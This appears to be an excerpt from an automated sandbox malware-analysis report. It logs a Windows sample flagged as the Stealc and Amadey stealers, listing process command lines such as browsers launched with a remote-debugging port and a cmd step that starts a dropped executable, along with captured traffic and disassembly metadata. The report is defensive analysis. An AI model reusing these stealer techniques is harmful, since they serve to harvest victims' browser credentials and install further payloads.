2024-11-12 03:16:42 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: e6bafd9b-d350-4b22-a71f-abc272c75bc8 PPServer: PPV: 30 H: SN1PEPF0002F090 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:41 GMT Connection: close Content-Length: 1918
2024-11-12 03:16:42 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Target ID:	0
Start time:	22:16:00
Start date:	11/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc60000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2411681140.000000000194E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2410670260.0000000000C61000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2029990160.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:16:08
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:16:09
Start date:	11/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2656 --field-trial-handle=2468,i,9010662023818967337,633821691604264158,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:16:18
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:16:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2272,i,4234674185998409260,14968440290585213701,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:16:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:16:20
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2956 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	22:16:25
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7268 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:16:25
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5360 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:16:38
Start date:	11/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKFHJJDHJE.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:16:38
Start date:	11/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:16:38
Start date:	11/11/2024
Path:	C:\Users\user\DocumentsKKFHJJDHJE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKKFHJJDHJE.exe"
Imagebase:	0x5e0000
File size:	3'240'960 bytes
MD5 hash:	8231838196B7B207B73B8BF17344DC6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2461929349.00000000005E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:16:43
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x8b0000
File size:	3'240'960 bytes
MD5 hash:	8231838196B7B207B73B8BF17344DC6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2502298875.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:17:00
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x8b0000
File size:	3'240'960 bytes
MD5 hash:	8231838196B7B207B73B8BF17344DC6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.4481339709.00000000008B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	22:17:13
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Imagebase:	0x980000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2794178942.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000002.2795084651.00000000012FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000018.00000003.2753904941.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:17:17
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'240'960 bytes
MD5 hash:	8231838196B7B207B73B8BF17344DC6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	22:17:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	22:17:25
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Imagebase:	0x980000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2917558325.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000003.2877272364.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:17:27
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Imagebase:	0x1f0000
File size:	2'812'416 bytes
MD5 hash:	AB555CC5ACC5955E93FF9F142DB74EC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:17:33
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe"
Imagebase:	0x980000
File size:	1'834'496 bytes
MD5 hash:	59B3273D9D5C8F80B5CFE9E160188073
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2998798875.0000000000981000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2958211114.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:17:42
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Imagebase:	0x1f0000
File size:	2'812'416 bytes
MD5 hash:	AB555CC5ACC5955E93FF9F142DB74EC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:17:55
Start date:	11/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe"
Imagebase:	0x1f0000
File size:	2'812'416 bytes
MD5 hash:	AB555CC5ACC5955E93FF9F142DB74EC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:19:19
Start date:	11/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6316 --field-trial-handle=2372,i,11112093602853400698,17986808643466300241,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
AuthcAMDenti, xrefs: 6C653946
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

